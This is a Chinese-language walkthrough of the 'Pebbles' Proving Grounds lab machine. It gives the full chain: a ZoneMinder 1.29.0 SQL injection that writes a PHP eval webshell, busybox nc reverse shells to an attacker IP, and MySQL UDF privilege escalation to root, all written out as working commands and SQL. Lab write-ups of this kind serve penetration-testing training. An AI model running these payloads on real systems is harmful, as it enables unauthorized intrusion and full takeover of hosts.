PG靶机 - Pebbles
一、初步侦察与立足点获取
1.1 端口探测与服务识别
首先对目标进行全端口扫描,结果显示开放了 21 (FTP)、22 (SSH)、80 (HTTP)、3305 (HTTP) 和 8080 (HTTP) 等端口。
sudo nmap 192.168.186.52 -p- --min-rate=5000 -A
1.2 Web 服务探索
对扫描到的 Web 服务逐一进行排查。80 端口是一个登录页面,经过简单的弱口令尝试后宣告失败。
3305 和 8080 端口分别是 Apache 和 Tomcat 的默认欢迎页,并未发现有价值的信息。
1.3 目录爆破与应用发现 (ZoneMinder)
初步的目录扫描未能发现任何隐藏路径。
dirsearch -u http://192.168.186.52 -x 404
更换更强大的字典和工具进行深度爆破,成功发现了一个名为 zm
的目录。
feroxbuster -u http://192.168.186.52/
访问该目录,页面显示这是一个名为 ZoneMinder 的监控应用,版本号为 1.29.0。
1.4 漏洞识别与初始 Shell 获取 (SQL 注入)
针对 ZoneMinder v1.29.0 进行漏洞检索,发现存在一个已知的 SQL 注入漏洞。
经过验证,该漏洞确实存在,并且支持堆叠注入,这为我们执行任意 SQL 语句提供了可能。
利用堆叠注入和 INTO OUTFILE
语句,我们尝试向 Web 根目录 /var/www/html/
写入一个 PHP Webshell。
select '<?php @eval($_REQUEST[cmd]);?>' into outfile '/var/www/html/shell.php'
访问写入的 shell.php
文件并执行 whoami
命令,成功返回 www-data
用户,证明 webshell 已成功部署。
随即通过 Webshell 执行反弹 Shell 命令,成功获得了一个交互式 Shell。
busybox nc 192.168.45.250 22 -e /bin/bash
二、权限提升与 ROOT 权限获取
2.1 信息收集与提权路径分析
在获取初始 Shell 后,进行信息收集。一个关键的发现是,MySQL 服务是以 root 权限运行的。结合我们已有的堆叠注入能力,通过 MySQL UDF (User-Defined Function) 提权成为了一条可以尝试的路径。
2.2 UDF 提权与最终控制
首先,我们需要一个用于执行系统命令的 UDF 动态链接库。Sqlmap 自带的库是一个不错的选择,位于 /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
。该文件经过编码,需要使用 sqlmap 提供的 cloak.py
脚本进行解码。
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d -i ~/lib_mysqludf_sys.so_ -o udf.so
接下来,将解码后的 udf.so
文件上传到目标服务器的 /tmp
目录下。由于 www-data
用户对 MySQL 的插件目录 /usr/lib/mysql/plugin/
没有写权限,我们再次利用 SQL 注入,通过 load_file
和 dumpfile
将 UDF 文件写入指定位置。
通过堆叠注入,依次执行以下 SQL 语句,完成 UDF 文件的加载并创建自定义函数 sys_eval
。
create table xdd(line blob);
insert into xdd values(load_file('/tmp/udf.so'));
select * from xdd into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function sys_eval returns string soname 'udf.so';
函数创建成功后,调用 sys_eval
执行反弹 Shell 命令。
select sys_eval('busybox nc 192.168.45.250 22 -e /bin/bash');
在本地监听端口成功接收到回连,获取的 Shell 权限已是 root,提权成功。